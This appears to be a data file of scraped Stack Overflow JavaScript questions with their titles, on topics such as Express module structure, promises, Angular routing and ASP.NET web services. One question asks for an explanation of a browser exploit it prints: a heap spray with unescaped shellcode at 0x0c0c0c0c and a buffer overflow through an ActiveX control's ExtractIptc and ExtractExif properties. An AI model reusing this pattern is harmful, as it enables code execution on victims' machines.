js compilers ? var outer = 42 ; window.addEventListener ( 'load ' , function ( ) { var inner = 42 ; function magic ( ) { var in_magic = inner + outer ; console.log ( in_magic ) ; } magic ( ) ; } , false ) ; __Scope__.set ( 'outer ' , 42 ) ; __Scope__.set ( 'console ' , console ) ; window.addEventListener ( 'load ' , constructScopeWrapper ( __Scope__ , function ( __Scope__ ) { __Scope__.set ( 'inner ' , 42 ) ; __Scope__.set ( 'magic ' , constructScopeWrapper ( __Scope__ , function _magic ( __Scope__ ) { __Scope__.set ( 'in_magic ' , __Scope__.get ( 'inner ' ) + __Scope__.get ( 'outer ' ) ) ; __Scope__.get ( 'console ' ) .log ( __Scope__.get ( 'in_magic ' ) ) ; } ) ) ; __Scope__.get ( 'magic ' ) ( ) ; } ) , false ) ;",lightweight javascript to javascript parser "JS : This has been driving me crazy . I 'm new to NodeJS . I love it so far but some things have been throwing me off . I was handed a very basic starting point to a node project and I 'm unsure how to search google for this . Then there 's the api.js file that contains the routes.Ideally I 'd like to break up what 's going on here into a more organized structure but , I want to understand what I 'm doing exactly . The main thing that is confusing me is this line I was unaware that you can have ( ) ( ) next to each other without a . or something joining them . Can someone explain what is happening ? Also what is the point of ( app , express ) ? It appears that app and express are getting passed to the api part of the application so it 's scope can be reached ? Am I way off ? If there is a cleaner approach to this I would love to get some insight . I appreciate any thoughts . Thanks ! EDITTo make sure I am understanding ... Moving any requires from api.js to server.js then include those as parametersEDITAfter more helpful feedback from @ AhmadAssaf @ Gurbakhshish Singh and @ guy mograbiModules I want to use in another file other than where they are require ( ) ed should be passed in through the second set of ( ) Could be wrong with this part but based on what I think I am understanding . Hopefully my thinking is about right . I appreciate everyones help on this ! : ) //myapp/server.jsvar config = require ( './config ' ) ; var app = express ( ) ; var api = require ( './app/routes/api ' ) ( app , express ) ; // < -- this ? app.use ( '/ ' , api ) ; var server = app.listen ( 3000 , function ( ) { console.log ( '\n============================ ' ) ; console.log ( ' Server Running on Port 3000 ' ) ; console.log ( '============================\n ' ) ; } ) ; //myapp/app/routes/api.jsvar config = require ( '../../config ' ) ; var mysql = require ( 'mysql ' ) ; module.exports = function ( app , express ) { var api = express.Router ( ) ; api.all ( '/ ' , function ( req , res ) { ... } ) ; api.all ( '/route-two ' , function ( req , res ) { ... } ) ; api.all ( '/another-route ' , function ( req , res ) { ... } ) ; return api ; } var api = require ( './app/routes/api ' ) ( app , express ) ; var api = require ( 'require this file ' ) ( params available to this file ) ; var api = require ( './app/routes/api ' ) ( config , app , express , mysql ) ; //.server.jsvar config = require ( './config ' ) ; var app = express ( ) ; var api = require ( './app/routes/api ' ) ( config , app , express ) ; | | | _____________/______/________/ / / ///.app/routes/api.js | | |module.exports = function ( config , app , express ) { var api = express.Router ( ) ; // code to handle routes } //.server.jsvar config = require ( './config ' ) ; var app = express ( ) ; var register = require ( './app/routes/register ' ) ( config , app , express ) ; var login = require ( './app/routes/login ' ) ( config , app , express ) ; | | | _________________/______/________/ / / ///.app/routes/login.js | | |module.exports = function ( config , app , express ) { ... handle login ... } //.app/routes/register.js module.exports = function ( config , app , express ) { ... handle registration ... } etc . etc .","Node JS , Express Structure and Require Confusion" "JS : I am using following code to fetch hierarchical data from Web SQL Database : How can I detect if the execution has been completed ? ... function getResult ( query , data , callback ) { db.transaction ( function ( tx ) { tx.executeSql ( query , data , function ( tx , result ) { callback ( result ) ; } ) ; } ) ; } function findChildren ( id ) { getResult ( `` SELECT * FROM my_table WHERE parent_id= ? `` , [ id ] , function ( result ) { for ( var i = 0 , item = null ; i < result.rows.length ; i++ ) { item = result.rows.item ( i ) ; data.push ( item ) ; findChildren ( item.id ) ; } } ) ; } var data = Array ( ) ; getResult ( `` SELECT * FROM my_table WHERE name like ? `` , [ `` A '' ] , function ( result ) { for ( var i = 0 , item = null ; i < result.rows.length ; i++ ) { item = result.rows.item ( i ) ; data.push ( item ) ; findChildren ( item.id ) ; } } ) ; ...",How to detect completion of recursive asynchronous calls in javascript "JS : I have a multi select list that i use to filter a grid with . When i select or deselect any item in the list , it triggers an event.The problem is that when i scroll down and select or deselect a value lower on the list , it jumps back to the top . How can i stop this from happening ? I 've made a fiddle : https : //jsfiddle.net/Berge90/a2two97o/Edit : Problems in Chrome . Works fine in Edge and FirefoxHTMLJavascript < div class= '' FilterContainer '' > < select id= '' SelectTenant '' multiple= '' true '' > < /select > < br/ > < button onclick= '' setAllTenantSelections ( true ) '' > Select All < /button > < button onclick= '' setAllTenantSelections ( false ) '' > Select None < /button > < /div > window.onload = setupFilter ; window.onload = populateTenantFilter ; gridHeaders = [ { name : `` Test '' } , { name : `` Value '' } , { name : `` Another one '' } , { name : `` And another '' } , { name : `` Last one '' } ] ; //Selecting/Deselecting all valuesfunction setAllTenantSelections ( selected ) { var select = document.getElementById ( `` SelectTenant '' ) ; for ( element in select.children ) { select [ element ] .selected = selected ; showCol ( select [ element ] .text , selected ) ; } } //Adding all values from array to listfunction populateTenantFilter ( ) { var select = document.getElementById ( `` SelectTenant '' ) ; select.innerHTML = `` '' ; for ( i = 0 ; i < gridHeaders.length ; i++ ) { var option = document.createElement ( `` Option '' ) ; option.innerHTML = gridHeaders [ i ] .name ; select.appendChild ( option ) ; } //setting all options as selected on load setAllTenantSelections ( true ) ; setupFilter ( ) ; } //Adding onclick-events to the valuesfunction setupFilter ( ) { $ ( 'select option ' ) .on ( 'mousedown ' , function ( e ) { this.selected = ! this.selected ; if ( this.selected ) { console.log ( `` SELECTED : `` + this.text ) ; showCol ( this.text , true ) ; } else { console.log ( `` DESELECTED : `` + this.text ) ; showCol ( this.text , false ) ; } e.preventDefault ( ) ; } ) ; } function showCol ( ) { //Filtering grid based on selection }",Stop multiple select from scrolling to top when selection changes "JS : I 've been working on a Website for users to upload videos to a shared YouTube account for later access . After much work I 've been able to get an Active Token , and viable Refresh Token.However , the code to initialize the YouTubeService object looks like this : I 've already got a token , and I want to use mine . I 'm using ASP.NET version 3.5 , and so I ca n't do an async call anyways.Is there any way I can create a YouTubeService object without the async call , and using my own token ? Is there a way I can build a credential object without the Authorization Broker ? Alternatively , the application used YouTube API V2 for quite some time , and had a form that took a token , and did a post action against a YouTube URI that was generated alongside the token in API V2 . Is there a way I can implement that with V3 ? Is there a way to use Javascript to upload videos , and possibly an example that I could use in my code ? UserCredential credential ; using ( var stream = new FileStream ( `` client_secrets.json '' , FileMode.Open , FileAccess.Read ) ) { credential = await GoogleWebAuthorizationBroker.AuthorizeAsync ( GoogleClientSecrets.Load ( stream ) .Secrets , // This OAuth 2.0 access scope allows an application to upload files to the // authenticated user 's YouTube channel , but does n't allow other types of access . new [ ] { YouTubeService.Scope.YoutubeUpload } , `` user '' , CancellationToken.None ) ; } var youtubeService = new YouTubeService ( new BaseClientService.Initializer ( ) { HttpClientInitializer = credential , ApplicationName = Assembly.GetExecutingAssembly ( ) .GetName ( ) .Name , } ) ;",Creating a YouTube Service via ASP.NET using a pre-existing Access Token "JS : I tried to search for good resources on empty statement , but it seem like nothing show up . Even on MDN , they do n't have much to say about it.i.e : I would like to know what are some real examples that one should use empty statements on their project . What are the reason behind it ? for ( var i = 0 ; i < a.length ; a [ i++ ] = 0 ) ; if ( ( a==0 ) || ( b == 0 ) ) ;",What is the point of using empty statement in JavaScript ? "JS : I am using node.js v4.5I wrote the function below to send repeated messages with a delay.Instead of delay , I would like to activate the sending of messages using a keypress . Something like the function below . function send_messages ( ) { Promise.resolve ( ) .then ( ( ) = > send_msg ( ) ) .then ( ( ) = > Delay ( 1000 ) ) .then ( ( ) = > send_msg ( ) ) .then ( ( ) = > Delay ( 1000 ) ) .then ( ( ) = > send_msg ( ) ) ; } function Delay ( duration ) { return new Promise ( ( resolve ) = > { setTimeout ( ( ) = > resolve ( ) , duration ) ; } ) ; } function send_messages_keystroke ( ) { Promise.resolve ( ) .then ( ( ) = > send_msg ( ) ) .then ( ( ) = > keyPress ( 'ctrl-b ' ) ) //Run subsequent line of code send_msg ( ) if keystroke ctrl-b is pressed .then ( ( ) = > send_msg ( ) ) .then ( ( ) = > keyPress ( 'ctrl-b ' ) ) .then ( ( ) = > send_msg ( ) ) ; }",Use keypress to initiate action in node.js "JS : I 'm trying to make some calls to a WebServiceI did exactly what is described in this articlehttp : //viralsarvaiya.wordpress.com/2010/03/23/calling-web-service-from-java-script-in-asp-net-c/Looking at the console of firebug I could see that my function was executed and returned the expected data , but my callback functions ( OnComplete , OnError , OnTimeOut ) are never executed.Whats wrong ? Here is the code ( same code of the article ) Service.csDefault.aspx using System ; using System.Collections.Generic ; using System.Linq ; using System.Web ; using System.Web.Services ; [ WebService ( Namespace = `` http : //Localhost ... xys/ '' ) ] [ WebServiceBinding ( ConformsTo = WsiProfiles.BasicProfile1_1 ) ] // To allow this Web Service to be called from script , using ASP.NET AJAX , uncomment the following line.// [ System.Web.Script.Services.ScriptService ] [ System.Web.Script.Services.ScriptService ( ) ] public class Service : System.Web.Services.WebService { public Service ( ) { //Uncomment the following line if using designed components //InitializeComponent ( ) ; } [ WebMethod ] public string HelloWorld ( string strNoOfData ) { return strNoOfData ; } } < % @ Page Language= '' C # '' AutoEventWireup= '' true '' CodeFile= '' Default.aspx.cs '' Inherits= '' _Default '' % > < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Transitional//EN '' `` http : //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd '' > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head runat= '' server '' > < title > < /title > < script type= '' text/javascript '' language= '' javascript '' > function CallService ( ) { Service.HelloWorld ( document.getElementById ( 'Textbox1 ' ) .value , OnComplete , OnError , OnTimeOut ) ; } function OnComplete ( Text ) { alert ( Text ) ; } function OnTimeOut ( arg ) { alert ( `` timeOut has occured '' ) ; } function OnError ( arg ) { alert ( `` error has occured : `` + arg._message ) ; } < /script > < /head > < body > < form id= '' form1 '' runat= '' server '' > < div > < asp : ScriptManager ID= '' ScriptManager1 '' runat= '' server '' > < Services > < asp : ServiceReference Path= '' ~/Service.asmx '' / > < /Services > < /asp : ScriptManager > < asp : UpdatePanel ID= '' UpdatePanel1 '' UpdateMode= '' Conditional '' runat= '' server '' > < ContentTemplate > < fieldset > < asp : TextBox ID= '' Textbox1 '' runat= '' server '' > < /asp : TextBox > < br / > < asp : Button ID= '' Button1 '' runat= '' server '' Text= '' Call Service '' OnClientClick= '' CallService ( ) '' / > < /fieldset > < /ContentTemplate > < /asp : UpdatePanel > < /div > < /form > < /body > < /html >",Why my CallBack function doesnt works ? JS : For example here the code goes like this : Note that < script > should have contained type attribute ( perhaps set to `` text/javascript '' ) but it is not present here.This is not the only example I 've seen . Such code makes Visual Studio editor unhappy - it underlines < script > and says there should be a type attribute . It also makes me curious big time.Why is type often omitted ? What happens if I add type= '' text/javascript '' - will jQuery break or something ? < html lang= '' en '' > < head > < ! -- whatever -- > < script > $ ( function ( ) { $ ( `` # datepicker '' ) .datepicker ( ) ; } ) ; < /script > < /head > < ! -- whatever -- >,Why do jQuery samples often omit script type ? "JS : In learning Angular I am creating a simple gallery that can be zoomed . My initial implementation used a simple ng-repeat , but I quickly discovered that based on the zoom of the gallery I would want to change things like the url source ( from small to medium thumbs ) , and probably the css on captions etc . So , I switched to a much cleaner directive : but the only way I could get the directive element to respond to the zoom change is to add a watch to the zoom inside the link for the element : I know that you are n't supposed to abuse watches , and my fear is that with 500 elements in the gallery you are doing 500 watches . But I can find no guidance on responding to external inputs within repeating directives . The two galleries seem to perform about the same , but I am wondering if I am doing this wrong ? Here is a fiddle for the original gallery and a fiddle for the directive version . < div class= '' photoHolder '' ng-repeat= '' photo in photos | filter : { caption : query } | orderBy : orderProp '' ng-attr-style= '' transition : .3s ease ; width : { { thumbWidth } } px ; height : { { thumbWidth } } px ; '' > < div class= '' photoClass '' data-id= '' { { photo.id } } '' ng-attr-style= '' background-image : url ( { { zoomSize < 5 ? photo.thumb_url : photo.medium_url } } ) '' > < /div > < div class= '' caption '' > { { photo.caption } } < /div > < div class= '' caption '' > { { photo.date } } < /div > < /div > < gal-photo class= '' photoHolder '' ng-repeat= '' photo in photos | filter : { caption : query } | orderBy : orderProp '' / > link : function ( scope , element , attrs ) { var image = new Image ( ) ; scope.photo.url = scope.zoomSize < 5 ? scope.photo.thumb_url : scope.photo.medium_url ; scope. $ watch ( 'thumbWidth ' , function ( ) { scope.photo.url = scope.zoomSize < 5 ? scope.photo.thumb_url : scope.photo.medium_url ; element.attr ( 'style ' , 'transition : .3s ; width : ' + scope.thumbWidth + 'px ; height : ' + scope.thumbWidth + 'px ; ' ) ; } ) ; }",Angular Directives watching external models "JS : I would like to change from underscore template to mustache.js.Since in mustache.js there are no if statements how can I change this piece of code in order to use mustache.js ? My solution is : It works for total variable , because it could be 0 or more , but I have no idea what is the best way to fix it on remaining variable , which could be 1 or more.It should be something like that : It does not work because remaining could be 1 or more . < % if ( done ) { % > < span class= '' todo-clear '' > < a href= '' # '' > Clear < span class= '' number-done '' > < % = done % > < /span > completed < span class= '' word-done '' > < % = done === 1 ? 'item ' : 'items ' % > < /span > < /a > < /span > < % } % > { { # total } } < span class= '' todo-count '' > { { total } } < span class= '' number '' > { { remaining } } < /span > < span class= '' word '' > < % = remaining == 1 ? 'item ' : 'items ' % > < /span > left. -- > < /span > < span class= '' hint '' > Drag tasks from one list into another and vice versa . < /span > { { /total } } < span class= '' word '' > < % = remaining == 1 ? 'item ' : 'items ' % > < /span > left. < /span > < span class= '' word '' > { { # remaining } } 'items ' { { /remaining } } { { ^remaining } } 'item ' { { /remaining } } < /span >",from underscore template to mustache.js "JS : Note : I am using AngularJS v1.6.0I have implemented a stand-alone AngularJS app into another existing website , it exists on a single page on the site and the rest of the site does n't have any Angular code running on it.For example , a regular page on the site could be at : http : //example.com/any-pageThen the user can click on a link and it takes them to the page with the Angular JS running on it : http : //example.com/angularjs-appWhen landing on this URL it loads the AngularJS app and appends # ! / to the URL as expected . It does n't contain any elements from the rest of the site such as the header , so for the user it looks like a completely different section . However it also breaks the back button . It 's not possible press back to go back to http : //example.com/any-page . Each time you press back , it just loads the landing view of the AngularJS app again - effectively the user is stuck on the AngularJS app page and can not go back to /any-page.I think this has something to do with AngularJS routing , because it seems to refresh the # ! / portion of the URL when you press back , and just reload the initial view on the app . But I could be wrong . Note that the back button works fine within the AngularJS app when visiting various routes . For example , if I navigate between various routes/views in the app , such as # ! /login or # ! /view-details , I can always go back through these views via the back button . But when it reaches that initial view , it stops working.Does anyone know a way around this ? Note : I have looked at various other Stack Overflow posts on this , however they all seem to be concered with the back button not working at all , rather than this issue where the back button works for navigating between routes within the app , but not back to the original non-AngularJS page on the site.Routing configPortion of index where ng-view lives : StartCtrl ( function ( ) { `` use strict '' ; var routes = { error : `` /error '' , forgottenPassword : `` /forgotten-password '' , home : `` /home '' , login : `` /login '' , orders : `` /orders '' , paymentDetails : `` /payment-details '' , personalDetails : `` /personal-details '' , subscriptions : `` /subscriptions '' , updatePassword : `` /update-password '' , accountVerification : `` /account-verification '' , register : '/register ' , profile : '/profile ' , accountConfirm : '/account-confirm ' , deleteAccount : '/delete-account ' } ; var configFunc = function ( $ routeProvider , $ locationProvider , CONFIG , ROUTES ) { var resolve = { isLoggedIn : [ `` $ q '' , `` ERRORS '' , `` core.services.sessionsService '' , function ( $ q , ERRORS , sessionsService ) { return sessionsService.isLoggedIn ( ) .then ( function ( isLoggedIn ) { if ( isLoggedIn ) { return isLoggedIn ; } return $ q.reject ( { error : ERRORS.route.requiresAuth } ) ; } ) ; } ] } ; var getTemplateUrl = function ( page ) { return CONFIG.rootPagesUrl + page ; } ; $ routeProvider .when ( `` / '' , { controller : `` StartCtrl '' , template : `` '' } ) .when ( ROUTES.login , { templateUrl : getTemplateUrl ( `` login.html '' ) , pageName : `` Login '' } ) .when ( ROUTES.forgottenPassword , { templateUrl : getTemplateUrl ( `` forgotten-password.html '' ) , pageName : `` Forgotten Password '' } ) .when ( ROUTES.home , { templateUrl : getTemplateUrl ( `` home.html '' ) , resolve : resolve } ) .when ( ROUTES.personalDetails , { templateUrl : getTemplateUrl ( `` personal-details.html '' ) , resolve : resolve } ) .when ( ROUTES.paymentDetails , { templateUrl : getTemplateUrl ( `` payment-details.html '' ) , resolve : resolve } ) .when ( ROUTES.orders , { templateUrl : getTemplateUrl ( `` orders.html '' ) , resolve : resolve } ) .when ( ROUTES.subscriptions , { templateUrl : getTemplateUrl ( `` subscriptions.html '' ) , resolve : resolve } ) .when ( ROUTES.updatePassword , { templateUrl : getTemplateUrl ( `` update-password.html '' ) , pageName : `` Update Password '' } ) .when ( ROUTES.accountVerification , { templateUrl : getTemplateUrl ( `` account-verification.html '' ) , pageName : `` Account Verification '' } ) .when ( ROUTES.error , { templateUrl : getTemplateUrl ( `` error.html '' ) , pageName : `` Error '' } ) .when ( ROUTES.register , { templateUrl : getTemplateUrl ( `` register.html '' ) , pageName : `` Register '' } ) .when ( ROUTES.profile , { templateUrl : getTemplateUrl ( `` profile.html '' ) , resolve : resolve , pageName : `` Profile '' } ) .when ( ROUTES.accountConfirm , { templateUrl : getTemplateUrl ( `` accountConfirm.html '' ) , pageName : `` Registration Complete '' } ) .when ( ROUTES.deleteAccount , { templateUrl : getTemplateUrl ( `` deleteAccount.html '' ) , resolve : resolve , pageName : `` Delete Account '' } ) .otherwise ( { templateUrl : getTemplateUrl ( `` login.html '' ) , pageName : `` Login '' } ) ; } ; var config = [ `` $ routeProvider '' , `` $ locationProvider '' , `` CONFIG '' , `` ROUTES '' , configFunc ] ; var module = angular.module ( `` app '' ) ; module.constant ( `` ROUTES '' , routes ) ; module.config ( config ) ; } ) ( ) ; < body ng-app= '' app '' ng-strict-di > < div > < div id= '' container '' class= '' mpp-app '' > < div class= '' mpp-page '' id= '' mpp-page '' > < div class= '' page-wrapper '' > < div class= '' ui-module-container '' > < div brand > < /div > < /div > < div ng-view > < /div > < /div > < /div > < div class= '' ui-module-container '' > < div footer > < /div > < /div > < /div > < /div > < div id= '' spinner '' class= '' hidden '' > < div class= '' icon '' > < /div > < /div > ( function ( ) { `` use strict '' ; var func = function ( $ rootScope , $ scope , $ location , ROUTES , APP_EVENTS , CORE_EVENTS , SessionModel , sessionsService , configurationAggregator ) { var broadcast = function ( event , args ) { $ rootScope. $ broadcast ( event , args ) ; } ; var redirectToLogin = function ( ) { broadcast ( APP_EVENTS.navigation.login ) ; } ; // check if user is signed in and has a valid session var verifySession = function ( ) { sessionsService.verify ( ) .then ( function ( ) { // if user is logged in navigate to profile // otherwise navigate to login configurationAggregator.getConfiguration ( ) .then ( function ( ) { broadcast ( APP_EVENTS.auth.login.success ) ; //broad cast ( APP_EVENTS.navigation.home ) ; broadcast ( APP_EVENTS.navigation.uktvProfile ) ; } , redirectToLogin ) ; } , redirectToLogin ) ; } ; // init var sessionId = $ location.search ( ) .guid ; if ( angular.isDefined ( sessionId ) & & sessionId ! == null ) { broadcast ( CORE_EVENTS.session.changed , { sessionId : sessionId } ) ; verifySession ( ) ; } else { verifySession ( ) ; } } ; var controller = [ `` $ rootScope '' , `` $ scope '' , `` $ location '' , `` ROUTES '' , `` EVENTS '' , `` mpp.core.EVENTS '' , `` mpp.core.SessionModel '' , `` mpp.core.services.sessionsService '' , `` mpp.core.aggregators.configurationAggregator '' , func ] ; var module = angular.module ( `` app '' ) ; module.controller ( `` StartCtrl '' , controller ) ; } ) ( ) ;",AngularJS app breaks the back button when used for a single page application within another website "JS : This is my code . I wonder why it does n't work when I assign class attribute via javascript , but it works when I assign inline directly in html < html > < head > < style > .tagging { border : 1px solid black ; width : 20px ; height : 30px ; } < /style > < script > window.onload = function ( ) { var div = document.getElementsByTagName ( `` div '' ) ; div [ 0 ] .class = `` tagging '' ; } < /script > < /head > < body > < div > < /div > < /body > < /html > < div class= '' tagging '' > < /div >",Why class attribute can not assign inline by javascript ? "JS : I have some filters : And have some inputSo I have an error : Can I handle or fix this problem ? PS You can look at the code in this repository — I 'm using grunt and grunt-contrib-jade plugin , but to force grunt-contrib-jade work with filters you should edit ./node_modules/grunt-contrib-jade/tasks/jade.js to reflect changes from this pull request . PS2 : I found the stumbling block . When I use render ( ) method inside filter , I invoke it from local jade instance , which is do n't know anything about filters , but global jade instance ( from Gruntfile.js ) have all information about that filters . That 's why the main question is : how can I throw global Jade-instance to file with filters ? PS3 : I do n't know how create fiddle for such case . But you can clone my Hampi repo , implement changes to grunt-contrib-jade from my PR to them , then at start run npm i . To compile templates run grunt jade . Pay attention to these line in body.jade and commented section in filters.PS4 . I find the reason and it in different scope . I describe it with details here . Can you solve this issue ? I 'm open to additional answers and I will accept fixes in jade core ( if it would be required ) . var jade = require ( 'jade ' ) ; jade.filters.Posts = function ( block ) { return ' { block : Posts } '+jade.render ( block ) + ' { /block : Posts } ' ; } ; jade.filters.Audio = function ( block ) { return ' { block : Audio } '+jade.render ( block ) + ' { /block : Audio } ' ; } ; jade.filters.Video = function ( block ) { return ' { block : Video } '+jade.render ( block ) + ' { /block : Video } ' ; } ; : Posts Posts : Audio | Audio : Video | Video > > unknown filter `` : Audio ''",Filter nesting failed in Jade "JS : I do not understand this code snippet : In the above function I ca n't seem to figure out the variable types , or figure out what it 's doing with the hsta variable , and what it 's assigning to it : I also ca n't figure out this function : What does the following code mean ? cobj ( ' { 5C6698D9-7BE4-4122-8EC5-291D84DBD4A0 } ' ) What kind of variable is this ? Most importantly , what is that code snippet trying to do ? Here are some more functions : Any guidance would be appreciated . function ms ( ) { var plc=unescape ( ' '' . unescape ( '\x43\x43\x43\x43\n ... ... ... ... .\xEF ' . $ URL ) .CollectGarbage ( ) ; if ( mf ) return ( 0 ) ; mf=1 ; var hsta=0x0c0c0c0c , hbs=0x100000 , pl=plc.length*2 , sss=hbs- ( pl+0x38 ) ; var ss=gss ( addr ( hsta ) , sss ) , hb= ( hsta-hbs ) /hbs ; for ( i=0 ; i < hb ; i++ ) m [ i ] =ss+plc ; hav ( ) ; return ( 1 ) ; } var hsta=0x0c0c0c0c , hbs=0x100000 , pl=plc.length*2 , sss=hbs- ( pl+0x38 ) ; var ss=gss ( addr ( hsta ) , sss ) , hb= ( hsta-hbs ) /hbs ; for ( i=0 ; i < hb ; i++ ) m [ i ] =ss+plc ; function fb ( ) { try { var obj=null ; obj=cobj ( ' { 5C6698D9-7BE4-4122-8EC5-291D84DBD4A0 } ' ) ; if ( obj ) { ms ( ) ; var buf = addr ( 0x0c0c0c0c ) ; while ( buf.length < 400 ) buf += buf ; buf = buf.substring ( 0,400 ) ; obj.ExtractIptc = buf ; obj.ExtractExif = buf ; } } catch ( e ) { } return 0 ; } var buf = addr ( 0x0c0c0c0c ) ; buf = buf.substring ( 0,400 ) ; obj.ExtractIptc = buf ; obj.ExtractExif = buf ; function hex ( num , width ) { var digits='0123456789ABCDEF ' ; var hex=digits.substr ( num & 0xF,1 ) ; while ( num > 0xF ) { num=num > > > 4 ; hex=digits.substr ( num & 0xF,1 ) +hex ; } var width= ( width ? width:0 ) ; while ( hex.length < width ) hex= ' 0'+hex ; return hex ; } function addr ( addr ) { return unescape ( ' % u'+hex ( addr & 0xFFFF,4 ) + ' % u'+hex ( ( addr > > 16 ) & 0xFFFF,4 ) ) ; }",I do n't understand this Code "JS : So I wanted to extend Promise to have a 'progress ' part so that i can report progrss with it while using Promise for my Async tasks.Thus I extended Promise like this : and used it : and used itt : and got this error : What am i doing wrong here ? I was using node 7.5 , updated to 8.4 . Got that error in both versions.Thanks . class promisePro extends Promise { constructor ( fn ) { super ( function ( resolve , reject ) { fn ( resolve , reject , this._progress.bind ( this ) ) ; } ) ; } _progress ( v ) { if ( this.progressCB ) this.progressCB ( v ) ; } progress ( fn ) { this.progressCB = fn ; } } function ptest ( ) { return new promisePro ( ( resolve , reject , progress ) = > { setTimeout ( ( ) = > { progress ( 0.3 ) } , 1000 ) setTimeout ( ( ) = > { progress ( 0.6 ) } , 2000 ) setTimeout ( ( ) = > { progress ( 0.9 ) } , 3000 ) setTimeout ( ( ) = > { resolve ( 1 ) } , 4000 ) } ) } ptest ( ) .then ( ( r ) = > { console.log ( 'finiished : ' + r ) } ) .progress ( ( p ) = > { console.log ( 'progress : ' + p ) } ) ptest ( ) .then ( ( r ) = > { ^TypeError : Promise resolve or reject function is not callable",Extending Promise to support Progress reporting "JS : I have an Angular 5 library that I expose as a package for other apps to consume from their node_modules.Currently , the app is Just-in-Time ( JIT ) compiled using rollup and gulp and exported as a package . So developer applications use my package in their JIT compiled form.Researching about AOT has led me to believe that any Angular app which when AOT compiled is much more performant than its JIT counterpart on the browser . However , as a library developer , I would like to know if app developers will get any performance benefit if I were to expose my library AOT compiled ? I use ng-bootstrap and a lot of other open-source libraries to create components in my module and add custom styling or functionalities on top of them . Do all the libraries I consume in my module also need to be in their AOT forms or I could use their JIT counterparts ? Also , I think it would be a good idea to have separate packages for my library - packageName and packageName-aot so that the users have an option to choose whichever library they want to use.Apart from the entire code refactoring ( changing the private variables used in the template to public , removing arrow functions , lambda expressions etc . ) , is there anything else I need to keep in mind before exposing my library modules in AOT form ? I can not use the Angular CLI due to certain constraints , so will have to depend on @ ngtools/webpack to get AOT compilation if any.Currently , my tsconfig.json has the following options : I have searched a lot on the internet , but the Angular AOT docs are pretty vague and are not very clear for what I have been trying to do here . Any sort of direction would be really helpful.Thanks ! `` angularCompilerOptions '' : { `` skipTemplateCodegen '' : true , `` strictMedtadataEmit '' : true , `` fullTemplateTypeCheck '' : true }",Create an Ahead-of-Time ( AOT ) compiled library to be consumed by Angular applications JS : The HTML5 script tag loading directives seem pretty cool https : //stackoverflow.com/a/24070373/1070291 Is it possible to async load a bunch of scripts but have a single script wait to execute based on the async ones completing.Is my app script guaranteed to execute after my libraries or will it only execute in order with other defer scripts ? < script src= '' //some.cdn/jquery.js '' async > < /script > < script src= '' //some.cdn/underscore.js '' async > < /script > < script src= '' /my-app-which-uses-_-and-jquery.js '' defer > < /script >,"HTML5 script tags , does defer wait on any previous async scripts" JS : Hey i came across this video on youtube http : //www.youtube.com/watch ? v=KRm-h6vcpxswhich basically explains IIFEs and closures . But what I am not understanding is whether i need to return a function in order to call it a closure.E.x.in this case can i call it a closure as it is accessing the ' i ' variable from the outer function 's scope or do i need to return the function like this function a ( ) { var i = 10 ; function b ( ) { alert ( i ) ; } } return function b ( ) { alert ( i ) ; },Is a function return necessary to be called a Closure "JS : I found an interesting case where `` use strict '' is not working as expected in javascript.Following functionsI think fat arrow context should also be overwritten by undefined , or is my assumption wrong ? `` use strict '' ; var y = ( ) = > { console.log ( this ) ; } var x = function ( ) { console.log ( this ) ; } x ( ) ; // undefined due to use stricty ( ) ; // window object",use strict in javascript not working for fat arrow ? "JS : My understanding of an interpreter is that it executes program line by line and we can see the instant results , unlike compiled languages which convert code , then executes it . My question is , in Javascript , how does interpreter come to know that a variable is declared somewhere in the program and logs it as undefined ? Consider the program below : Is implicitly understood as : How does this work ? function do_something ( ) { console.log ( bar ) ; // undefined ( but in my understanding about an interpreter , it should be throwing error like variable not declared ) var bar = 111 ; console.log ( bar ) ; // 111 } function do_something ( ) { var bar ; console.log ( bar ) ; // undefined bar = 111 ; console.log ( bar ) ; // 111 }",How does hoisting work if JavaScript is an interpreted language ? "JS : Thank you for considering this question.The code can be found on GitHub , here.There are a few things going on here , so before we get to the code I want explain a bit about it.I have a function makeNavigation that takes three parameters to make the navigation bar : an array of items for the navigation bar , the element id of where the navigation bar should go , and a size.This works pretty well when the margins are not included . However as soon as the two lines for the margins are uncommented , then the drop down content is much larger than it should be . Thoughts ? In addition , when the window is collapse as small as possible , rather than having just one drop-down element , `` Home '' and the drop-down bars are stacked . Why / how could I correct this ? NOTE : I source W3 CSS and hover-masterSo for variables we have pages and the `` sizes '' .For functions : and then in the HTML : Updateprogrammer5000 gave a solution to this particular problem . However the same solution does not work when not using w3-css . How come ? var pages = [ `` HOME '' , '' ABOUT '' , '' PAGE3 '' , '' PAGE4 '' , '' PAGE5 '' , '' PAGE6 '' , '' PAGE7 '' , '' PAGE8 '' ] ; var extraSmall , small , medium , large ; extraSmall = 610 ; small = 700 ; medium = 800 ; large = 1250 ; function getSizeInText ( size ) { if ( size > large ) { return ( `` large '' ) } ; if ( extraSmall < size & & size < medium ) { return ( `` small '' ) } ; if ( medium < = size & & size < = large ) { return ( `` medium '' ) } ; if ( size < = extraSmall ) { return ( `` extraSmall '' ) } } function makeNavigation ( navArray , navID , size ) { var theID = document.getElementById ( navID ) ; var mar = 8 ; var pad = 2 ; theID.innerHTML = null ; // theID.style.marginRight = mar + `` % '' ; // theID.style.marginLeft = mar + `` % '' ; theID.style.marginTop = mar/4 + `` % '' ; if ( size == `` extraSmall '' ) { var numNav = navArray.length ; theID.innerHTML += ' < li class= '' w3-dropdown-hover w3-centered '' '+ 'style= '' width : ' + spaceAllocated + ' % '' > ' + ' < a class= '' hvr-reveal navFont '' > ' + ' < i class= '' fa fa-bars '' > < /i > < /a > ' + ' < ul id= '' dropDownContent '' class= '' w3-dropdown-content '' style= '' width : '+ spaceAllocated + ' % '' > ' + ' < /ul > ' + ' < /li > ' ; for ( var i = 0 ; i < numNav ; i++ ) { document.getElementById ( 'dropDownContent ' ) .innerHTML+= ' < li style= '' width : ' + ( 100 - 2*pad ) + ' % '' > '+ ' < a class= '' hvr-reveal navFont '' href= '' ' + navArray [ i ] .toLowerCase ( ) + '.html '' > ' + navArray [ i ] + ' < /a > < /li > ' ; } } if ( size == `` small '' ) { var numNav = navArray.length ; var spaceAllocated = ( 100 ) / 2 ; for ( var i = 0 ; i < 1 ; i++ ) { theID.innerHTML += ' < li style = `` width : ' + spaceAllocated + ' % '' > < a class= '' hvr-reveal navFont '' ' + ' href= '' ' + navArray [ i ] .toLowerCase ( ) + '.html '' > ' + navArray [ i 